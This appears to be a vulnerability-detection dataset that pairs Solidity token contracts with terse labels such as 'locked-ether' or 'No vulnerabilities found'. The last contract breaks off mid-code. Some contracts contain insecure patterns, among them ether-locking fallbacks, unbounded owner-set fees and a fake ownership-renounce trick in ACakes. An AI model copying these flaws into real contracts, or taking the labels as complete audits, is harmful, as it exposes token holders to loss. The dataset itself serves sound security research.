input stringlengths 32 47.6k | output stringclasses 657 values |
|---|---|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT222263' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT222263
// Name : ADZbuzz Amateurgourmet.com Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT222263";
name = "ADZbuzz Amateurgourmet.com Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract BillionDollarContract is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "SlumBillionaire";
symbol = "SMB";
decimals = 9;
_totalSupply = 777777777777000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | No vulnerabilities found |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Menova' token contract
//
// Deployed to : 0x94a62436c04B04515F04616f303e08B4fe48dd11
// Symbol : MEN
// Name : Menova Token
// Total supply: 1000000000
// Decimals : 2
//
// Enjoy.
//
// (c) by Patrick Köchli from Menova GmbH. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract MenovaToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function MenovaToken() public {
symbol = "MEN";
name = "Menova Token";
decimals = 2;
_totalSupply = 100000000000;
balances[0x94a62436c04B04515F04616f303e08B4fe48dd11] = _totalSupply;
Transfer(address(0), 0x94a62436c04B04515F04616f303e08B4fe48dd11, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.5;
import "./Ownable.sol";
import "./ERC721.sol";
import "./Creator.sol";
import "./Deployer.sol";
import "./ControlToken.sol";
contract VanityToken is Ownable, ERC721, Creator {
ControlToken immutable controlToken;
Deployer immutable deployer;
bytes32 immutable initHash;
uint256 public fee;
uint256 public nextFee;
uint256 public feeActivationBlock;
uint256 immutable public feeDelay;
// Mapping from token ID to salt
mapping (uint256 => bytes32) private salts;
address[256] private minters;
function saltOf(uint256 tokenId) public view returns (bytes32) {
require(_exists(tokenId), "ERC721: salt query for nonexistent token");
return salts[tokenId];
}
function addressOf(uint256 tokenId) public view returns (address) {
require(_exists(tokenId), "ERC721: address query for nonexistent token");
return address(tokenId);
}
function minterById(uint8 minterId) external view returns (address) {
return minters[minterId];
}
function registerMinter(uint8 minterId, address addr) external {
address current = minters[minterId];
address sender = _msgSender();
bool valid = ((current == address(0)) && (sender == owner())) || (sender == current);
require(valid, "VFA: not owner or current");
minters[minterId] = addr;
}
function remint(address addr, address dest) external {
require(ControlToken(msg.sender) == controlToken, "VFA: control token only");
_safeMint(dest, uint256(addr));
}
function mint(bytes32 salt, address recipient) external {
require(bytes32(0) != salt, "VFA: zero salt");
uint8 minterId = uint8(salt[0]);
require(_msgSender() == minters[minterId], "VFA: incorrect minterId");
uint256 tokenId = uint256(_calculateAddress(address(deployer), salt, initHash));
require(bytes32(0) == salts[tokenId], "VFA: double mint");
salts[tokenId] = salt;
_safeMint(recipient, tokenId);
}
function safeRedeem(uint256 tokenId, address delegatecallTarget, bytes32 codehash) external payable returns (address) {
bytes32 actualhash;
assembly {
actualhash := extcodehash(delegatecallTarget)
}
require(codehash == actualhash, "VFA: code hash not equal");
return redeem(tokenId, delegatecallTarget);
}
function redeem(uint256 tokenId, address delegatecallTarget) public payable returns (address) {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: redeem caller is not owner nor approved");
require(fee <= msg.value, "VFA: msg value not enough to cover fee");
bytes32 salt = saltOf(tokenId);
_burn(tokenId);
address addr = deployer.deploy{value: msg.value-fee}(salt, delegatecallTarget);
controlToken.mint(tokenId, _msgSender());
return addr;
}
function setBaseURI(string memory _baseURI) external onlyOwner {
_setBaseURI(_baseURI);
}
function setTokenURI(uint256 tokenId, string memory _tokenURI) external onlyOwner {
_setTokenURI(tokenId, _tokenURI);
}
function setFee(uint256 newFee) external onlyOwner {
require(newFee < 0.1 ether, "VFA: don't be greedy");
nextFee = newFee;
if (fee < nextFee) {
feeActivationBlock = block.number + feeDelay;
} else {
feeActivationBlock = 0;
}
}
function activateFee() external {
require(feeActivationBlock < block.number, "VFA: fee cannot be activated before activation block");
fee = nextFee;
}
function withdraw() external onlyOwner {
(bool result, bytes memory data) = payable(owner())
.call{value: address(this).balance}("");
if (!result) {
assembly {
revert(add(data, 0x20), mload(data))
}
}
}
constructor(Deployer _deployer, ControlToken _control, uint256 _feeDelay) ERC721("VanityFarmAddress", "VFA") {
controlToken = _control;
deployer = _deployer;
initHash = _deployer.initHash();
feeDelay = _feeDelay;
}
} | These are the vulnerabilities found
1) unused-return with Medium impact
2) locked-ether with Medium impact |
pragma solidity ^0.8.4;
// SPDX-License-Identifier: MIT
// Name: Akita Cakes
// Symbol: ACakes
// Decimals: 18
// 20% TAX In Each Transaction
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor (address initialOwner) {
_owner = initialOwner;
emit OwnershipTransferred(address(0), initialOwner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is still locked");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract ACakes is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => mapping (address => uint256)) private _allowances;
address[] private _excluded;
address public _marketingWallet;
address public _charityWallet;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Akita Cakes";
string private constant _symbol = "ACakes";
uint8 private constant _decimals = 18;
uint256 private _taxFee = 0; // Unused
uint256 public _marketingFee = 10; // 10% of every transaction is sent to marketing wallet
uint256 public _charityFee = 10; // 10% of every transaction is sent to charity wallet
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousMarketingFee = _marketingFee;
uint256 private _previousCharityFee = _charityFee;
uint256 public _maxTxAmount = _tTotal / 2;
constructor (address cOwner, address marketingWallet, address charityWallet) Ownable(cOwner) {
_marketingWallet = marketingWallet;
_charityWallet = charityWallet;
_rOwned[cOwner] = _rTotal;
// exclude system addresses from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingWallet] = true;
_isExcludedFromFee[_charityWallet] = true;
emit Transfer(address(0), cOwner, _tTotal);
}
receive() external payable {}
// BEP20
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
// REFLECTION
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(, uint256 tFee, uint256 tMarketing, uint256 tCharity) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount,,) = _getRValues(tAmount, tFee, tMarketing, tCharity, currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(, uint256 tFee, uint256 tMarketing, uint256 tCharity) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount,,) = _getRValues(tAmount, tFee, tMarketing, tCharity, currentRate);
return rAmount;
} else {
(, uint256 tFee, uint256 tMarketing, uint256 tCharity) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(, uint256 rTransferAmount,) = _getRValues(tAmount, tFee, tMarketing, tCharity, currentRate);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], "Account is already excluded");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner {
_taxFee = taxFee;
_previousTaxFee = taxFee;
}
function setMarketingFeePercent(uint256 marketingFee) external onlyOwner {
_marketingFee = marketingFee;
_previousMarketingFee = marketingFee;
}
function setCharityFeePercent(uint256 charityFee) external onlyOwner {
_charityFee = charityFee;
_previousCharityFee = charityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(100);
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function setMarketingWallet(address marketingWallet) external onlyOwner {
_marketingWallet = marketingWallet;
}
function setCharityWallet(address charityWallet) external onlyOwner {
_charityWallet = charityWallet;
}
// TRANSFER
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "BEP20: transfer from the zero address");
require(to != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
bool takeFee = true;
// if sender or recipient is excluded from fees, remove fees
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) {
removeAllFee();
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) {
restoreAllFee();
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tMarketing, uint256 tCharity) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, tCharity, currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
takeTransactionFee(address(_marketingWallet), tMarketing, currentRate);
takeTransactionFee(address(_charityWallet), tCharity, currentRate);
reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tMarketing, uint256 tCharity) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, tCharity, currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
takeTransactionFee(address(_marketingWallet), tMarketing, currentRate);
takeTransactionFee(address(_charityWallet), tCharity, currentRate);
reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tMarketing, uint256 tCharity) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, tCharity, currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
takeTransactionFee(address(_marketingWallet), tMarketing, currentRate);
takeTransactionFee(address(_charityWallet), tCharity, currentRate);
reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tMarketing, uint256 tCharity) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, tCharity, currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
takeTransactionFee(address(_marketingWallet), tMarketing, currentRate);
takeTransactionFee(address(_charityWallet), tCharity, currentRate);
reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function removeAllFee() private {
if (_taxFee == 0 && _marketingFee == 0 && _charityFee == 0) return;
_previousTaxFee = _taxFee;
_previousMarketingFee = _marketingFee;
_previousCharityFee = _charityFee;
_taxFee = 0;
_marketingFee = 0;
_charityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
